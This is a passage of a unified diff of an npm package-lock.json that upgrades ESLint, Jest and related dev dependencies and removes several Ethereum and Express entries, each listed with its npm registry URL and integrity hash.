"sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "escape-string-regexp": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", @@ -24150,31 +21099,20 @@ "dev": true }, "eslint-scope": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.1.tgz", - "integrity": "sha512-QKQM/UXpIiHcLqJ5AOyIW7XZmzjkzQXYE54n1++wb0u9V/abW3l9uQnxX8Z5Xd18xyKIMTUAyQ0k1e8pz6LUrw==", + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", "dev": true, "requires": { "esrecurse": "^4.3.0", "estraverse": "^5.2.0" } }, - "eslint-utils": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", - "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", - "dev": true, - "requires": { - "eslint-visitor-keys": "^2.0.0" - }, - "dependencies": { - "eslint-visitor-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", - "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", - "dev": true - } - } + "eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true }, "estraverse": { "version": "5.3.0", @@ -24192,44 +21130,6 @@ "path-exists": "^4.0.0" } }, - "globals": { - "version": "13.15.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.15.0.tgz", - "integrity": "sha512-bpzcOlgDhMG070Av0Vy5Owklpv1I6+j96GhUI7Rh7IzDCKLzboflLrrfqMu8NquDbiR4EOQk7XzJwqVJxicxog==", - "dev": true, - "requires": { - "type-fest": "^0.20.2" - } - }, - "globby": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", - "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", - "dev": true, - "requires": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.9", - "ignore": "^5.2.0", - "merge2": "^1.4.1", - "slash": "^3.0.0" - } - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "js-yaml": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", - "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", - "dev": true, - "requires": { - "argparse": "^2.0.1" - } - }, "locate-path": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", @@ -24239,15 +21139,6 @@ "p-locate": "^5.0.0" } }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, "p-locate": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", @@ -24262,39 +21153,24 @@ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - }, - "type-fest": { - "version": "0.20.2", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", - "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", - "dev": true } } }, - "eslint-config-standard": { - "version": "17.0.0", - "resolved": "https://registry.npmjs.org/eslint-config-standard/-/eslint-config-standard-17.0.0.tgz", - "integrity": "sha512-/2ks1GKyqSOkH7JFvXJicu0iMpoojkwB+f5Du/1SC0PtBL+s8v30k9njRZ21pm2drKYm2342jFnGWzttxPmZVg==", - "dev": true, - "requires": {} + "eslint-formatter-junit": { + "version": "8.40.0", + "resolved": "https://registry.npmjs.org/eslint-formatter-junit/-/eslint-formatter-junit-8.40.0.tgz", + "integrity": "sha512-brB5r40UlMbd/BcmPIxUy/UA4GSGkuA1YRTDX4I5mEjra1asxmjUTWetf65JqVMo2kg96ZIZjRutktcHCIy+Gw==", + "dev": true }, "eslint-import-resolver-node": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.6.tgz", - "integrity": "sha512-0En0w03NRVMn9Uiyn8YRPDKvWjxCWkslUEhGNTdGx15RvPJYQ+lbOlqrlNI2vEAs4pDYK4f/HN2TbDmk5TP0iw==", + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz", + "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==", "dev": true, "requires": { "debug": "^3.2.7", - "resolve": "^1.20.0" + "is-core-module": "^2.13.0", + "resolve": "^1.22.4" }, "dependencies": { "debug": { @@ -24309,13 +21185,12 @@ } }, "eslint-module-utils": { - "version": "2.7.3", - "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.7.3.tgz", - "integrity": "sha512-088JEC7O3lDZM9xGe0RerkOMd0EjFl+Yvd1jPWIkMT5u3H9+HC34mWWPnqPrN13gieT9pBOO+Qt07Nb/6TresQ==", + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz", + "integrity": "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==", "dev": true, "requires": { - "debug": "^3.2.7", - "find-up": "^2.1.0" + "debug": "^3.2.7" }, "dependencies": { "debug": { @@ -24329,45 +21204,40 @@ } } }, - "eslint-plugin-es": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-es/-/eslint-plugin-es-4.1.0.tgz", - "integrity": "sha512-GILhQTnjYE2WorX5Jyi5i4dz5ALWxBIdQECVQavL6s7cI76IZTDWleTHkxz/QT3kvcs2QlGHvKLYsSlPOlPXnQ==", - "dev": true, - "peer": true, - "requires": { - "eslint-utils": "^2.0.0", - "regexpp": "^3.0.0" - } - }, "eslint-plugin-import": { - "version": "2.26.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.26.0.tgz", - "integrity": "sha512-hYfi3FXaM8WPLf4S1cikh/r4IxnO6zrhZbEGz2b660EJRbuxgpDS5gkCuYgGWg2xxh2rBuIr4Pvhve/7c31koA==", + "version": "2.32.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz", + "integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==", "dev": true, "requires": { - "array-includes": "^3.1.4", - "array.prototype.flat": "^1.2.5", - "debug": "^2.6.9", + "@rtsao/scc": "^1.1.0", + "array-includes": "^3.1.9", + "array.prototype.findlastindex": "^1.2.6", + "array.prototype.flat": "^1.3.3", + "array.prototype.flatmap": "^1.3.3", + "debug": "^3.2.7", "doctrine": "^2.1.0", - "eslint-import-resolver-node": "^0.3.6", - "eslint-module-utils": "^2.7.3", - "has": "^1.0.3", - "is-core-module": "^2.8.1", + "eslint-import-resolver-node": "^0.3.9", + "eslint-module-utils": "^2.12.1", + "hasown": "^2.0.2", + "is-core-module": "^2.16.1", "is-glob": "^4.0.3", "minimatch": "^3.1.2", - "object.values": "^1.1.5", - "resolve": "^1.22.0", - "tsconfig-paths": "^3.14.1" + "object.fromentries": "^2.0.8", + "object.groupby": "^1.0.3", + "object.values": "^1.2.1", + "semver": "^6.3.1", + "string.prototype.trimend": "^1.0.9", + "tsconfig-paths": "^3.15.0" }, "dependencies": { "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", "dev": true, "requires": { - "ms": "2.0.0" + "ms": "^2.1.1" } }, "doctrine": { @@ -24378,77 +21248,6 @@ "requires": { "esutils": "^2.0.2" } - }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", - "dev": true - } - } - }, - "eslint-plugin-n": { - "version": "15.2.2", - "resolved": "https://registry.npmjs.org/eslint-plugin-n/-/eslint-plugin-n-15.2.2.tgz", - "integrity": "sha512-MLjZVAv4TiCIoXqjibNqCJjLkGHfrOY3XZ0ZBLoW0OnS3o98PUBnzB/kfp8dCz/4A4Y18jjX50PRnqI4ACFY1Q==", - "dev": true, - "peer": true, - "requires": { - "builtins": "^5.0.1", - "eslint-plugin-es": "^4.1.0", - "eslint-utils": "^3.0.0", - "ignore": "^5.1.1", - "is-core-module": "^2.9.0", - "minimatch": "^3.1.2", - "resolve": "^1.10.1", - "semver": "^7.3.7" - }, - "dependencies": { - "eslint-utils": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", - "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", - "dev": true, - "peer": true, - "requires": { - "eslint-visitor-keys": "^2.0.0" - } - }, - "eslint-visitor-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", - "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", - "dev": true, - "peer": true - }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "peer": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "semver": { - "version": "7.3.7", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", - "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", - "dev": true, - "peer": true, - "requires": { - "lru-cache": "^6.0.0" - } } } }, @@ -24479,11 +21278,13 @@ } }, "eslint-plugin-promise": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-promise/-/eslint-plugin-promise-6.0.1.tgz", - "integrity": "sha512-uM4Tgo5u3UWQiroOyDEsYcVMOo7re3zmno0IZmB5auxoaQNIceAbXEkSt8RNrKtaYehARHG06pYK6K1JhtP0Zw==", + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-promise/-/eslint-plugin-promise-7.2.1.tgz", + "integrity": "sha512-SWKjd+EuvWkYaS+uN2csvj0KoP43YTu7+phKQ5v+xw6+A0gutVX2yqCeCkC3uLCJFiPfR2dD8Es5L7yUsmvEaA==", "dev": true, - "requires": {} + "requires": { + "@eslint-community/eslint-utils": "^4.4.0" + } }, "eslint-scope": { "version": "5.1.1", @@ -24513,20 +21314,28 @@ } }, "eslint-visitor-keys": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.3.0.tgz", - "integrity": "sha512-mQ+suqKJVyeuwGYHAdjMFqjCyfl8+Ldnxuyp3ldiMBFKkvytrXUZWaiPCEav8qDHKty44bD+qV1IP4T+w+xXRA==", + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", "dev": true }, "espree": { - "version": "9.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-9.4.0.tgz", - "integrity": "sha512-DQmnRpLj7f6TgN/NYb0MTzJXL+vJF9h3pHy4JhCIs3zwcgez8xmGg3sXHcEO97BrmO2OSvCwMdfdlyl+E9KjOw==", + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", + "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "requires": { - "acorn": "^8.8.0", + "acorn": "^8.15.0", "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^3.3.0" + "eslint-visitor-keys": "^4.2.1" + }, + "dependencies": { + "eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true + } } }, "esprima": { @@ -24536,9 +21345,9 @@ "dev": true }, "esquery": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.4.0.tgz", - "integrity": "sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w==", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", + "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", "dev": true, "requires": { "estraverse": "^5.1.0" @@ -24581,11 +21390,6 @@ "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", "dev": true }, - "etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==" - }, "eth-block-tracker": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/eth-block-tracker/-/eth-block-tracker-4.4.3.tgz", @@ -24599,22 +21403,6 @@ "safe-event-emitter": "^1.0.1" } }, - "eth-ens-namehash": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/eth-ens-namehash/-/eth-ens-namehash-2.0.8.tgz", - "integrity": "sha512-VWEI1+KJfz4Km//dadyvBBoBeSQ0MHTXPvr8UIXiLW6IanxvAV+DmlZAijZwAyggqGUfwQBeHf7tc9wzc1piSw==", - "requires": { - "idna-uts46-hx": "^2.3.1", - "js-sha3": "^0.5.7" - }, - "dependencies": { - "js-sha3": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/js-sha3/-/js-sha3-0.5.7.tgz", - "integrity": "sha512-GII20kjaPX0zJ8wzkTbNDYMY7msuZcTWk8S5UOh6806Jq/wz1J8/bnr8uGU0DAUmYDjj2Mr4X1cW8v/GLYnR+g==" - } - } - }, "eth-json-rpc-filters": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/eth-json-rpc-filters/-/eth-json-rpc-filters-4.2.2.tgz", @@ -24705,36 +21493,6 @@ } } }, - "eth-lib": { - "version": "0.1.29", - "resolved": "https://registry.npmjs.org/eth-lib/-/eth-lib-0.1.29.tgz", - "integrity": "sha512-bfttrr3/7gG4E02HoWTDUcDDslN003OlOoBxk9virpAZQ1ja/jDgwkWB8QfJF7ojuEowrqy+lzp9VcJG7/k5bQ==", - "requires": { - "bn.js": "^4.11.6", - "elliptic": "^6.4.0", - "nano-json-stream-parser": "^0.1.2", - "servify": "^0.1.12", - "ws": "^3.0.0", - "xhr-request-promise": "^0.1.2" - }, - "dependencies": { - "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" - }, - "ws": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/ws/-/ws-3.3.3.tgz", - "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", - "requires": { - "async-limiter": "~1.0.0", - "safe-buffer": "~5.1.0", - "ultron": "~1.1.0" - } - } - } - }, "eth-net-props": { "version": "1.0.41", "resolved": "https://registry.npmjs.org/eth-net-props/-/eth-net-props-1.0.41.tgz", @@ -24790,14 +21548,6 @@ } } }, - "ethereum-bloom-filters": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/ethereum-bloom-filters/-/ethereum-bloom-filters-1.0.10.tgz", - "integrity": "sha512-rxJ5OFN3RwjQxDcFP2Z5+Q9ho4eIdEmSc2ht0fCu8Se9nbXjZ7/031uXoUYJ87KHCOdVeiUuwSnoS7hmYAGVHA==", - "requires": { - "js-sha3": "^0.8.0" - } - }, "ethereum-common": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/ethereum-common/-/ethereum-common-0.2.0.tgz", @@ -24958,28 +21708,6 @@ } } }, - "ethereumjs-util": { - "version": "7.1.5", - "resolved": "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-7.1.5.tgz", - "integrity": "sha512-SDl5kKrQAudFBUe5OJM9Ac6WmMyYmXX/6sTmLZ3ffG2eY6ZIGBes3pEDxNN6V72WyOw4CPD5RomKdsa8DAAwLg==", - "requires": { - "@types/bn.js": "^5.1.0", - "bn.js": "^5.1.2", - "create-hash": "^1.1.2", - "ethereum-cryptography": "^0.1.3", - "rlp": "^2.2.4" - }, - "dependencies": { - "@types/bn.js": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.0.tgz", - "integrity": "sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA==", - "requires": { - "@types/node": "*" - } - } - } - }, "ethereumjs-vm": { "version": "2.6.0", "resolved": "https://registry.npmjs.org/ethereumjs-vm/-/ethereumjs-vm-2.6.0.tgz", @@ -25056,22 +21784,6 @@ } } }, - "ethjs-unit": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/ethjs-unit/-/ethjs-unit-0.1.6.tgz", - "integrity": "sha512-/Sn9Y0oKl0uqQuvgFk/zQgR7aw1g36qX/jzSQ5lSwlO0GigPymk4eGQfeNTD03w1dPOqfz8V77Cy43jH56pagw==", - "requires": { - "bn.js": "4.11.6", - "number-to-bn": "1.7.0" - }, - "dependencies": { - "bn.js": { - "version": "4.11.6", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.6.tgz", - "integrity": "sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==" - } - } - }, "ethjs-util": { "version": "0.1.6", "resolved": "https://registry.npmjs.org/ethjs-util/-/ethjs-util-0.1.6.tgz", @@ -25082,9 +21794,9 @@ } }, "eventemitter3": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.4.tgz", - "integrity": "sha512-rlaVLnVxtxvoyLsQQFBx53YmXHDxRIzzTLbdfxqi4yocpSjAxXwkU0cScM5JgSKMqEhrZpnvQ2D9gjylR0AimQ==" + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", + "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==" }, "events": { "version": "3.3.0", @@ -25124,102 +21836,16 @@ "dev": true }, "expect": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/expect/-/expect-29.0.1.tgz", - "integrity": "sha512-yQgemsjLU+1S8t2A7pXT3Sn/v5/37LY8J+tocWtKEA0iEYYc6gfKbbJJX2fxHZmd7K9WpdbQqXUpmYkq1aewYg==", - "dev": true, - "requires": { - "@jest/expect-utils": "^29.0.1", - "jest-get-type": "^29.0.0", - "jest-matcher-utils": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-util": "^29.0.1" - } - }, - "express": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", - "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", - "requires": { - "accepts": "~1.3.8", - "array-flatten": "1.1.1", - "body-parser": "1.20.0", - "content-disposition": "0.5.4", - "content-type": "~1.0.4", - "cookie": "0.5.0", - "cookie-signature": "1.0.6", - "debug": "2.6.9", - "depd": "2.0.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "finalhandler": "1.2.0", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "merge-descriptors": "1.0.1", - "methods": "~1.1.2", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.7", - "qs": "6.10.3", - "range-parser": "~1.2.1", - "safe-buffer": "5.2.1", - "send": "0.18.0", - "serve-static": "1.15.0", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "type-is": "~1.6.18", - "utils-merge": "1.0.1", - "vary": "~1.1.2" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "qs": { - "version": "6.10.3", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", - "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", - "requires": { - "side-channel": "^1.0.4" - } - }, - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" - } - } - }, - "ext": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/ext/-/ext-1.6.0.tgz", - "integrity": "sha512-sdBImtzkq2HpkdRLtlLWDa6w4DX22ijZLKx8BMPUuKe1c5lbN6xwQDQCxSfxBQnHZ13ls/FH0MQZx/q/gr6FQg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/expect/-/expect-29.7.0.tgz", + "integrity": "sha512-2Zks0hf1VLFYI1kbh0I5jP3KHHyCHpkfyHBzsSXRFgl/Bg9mWYfMW8oD+PdMPlEwy5HNsR9JutYy6pMeOh61nw==", + "dev": true, "requires": { - "type": "^2.5.0" - }, - "dependencies": { - "type": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/type/-/type-2.6.1.tgz", - "integrity": "sha512-OvgH5rB0XM+iDZGQ1Eg/o7IZn0XYJFVrN/9FQ4OWIYILyJJgVP2s1hLTOFn6UOZoDUI/HctGa0PFlE2n2HW3NQ==" - } + "@jest/expect-utils": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0" } }, "extend": { @@ -25245,30 +21871,6 @@ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, - "fast-glob": { - "version": "3.2.11", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", - "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", - "dev": true, - "requires": { - "@nodelib/fs.stat": "^2.0.2", - 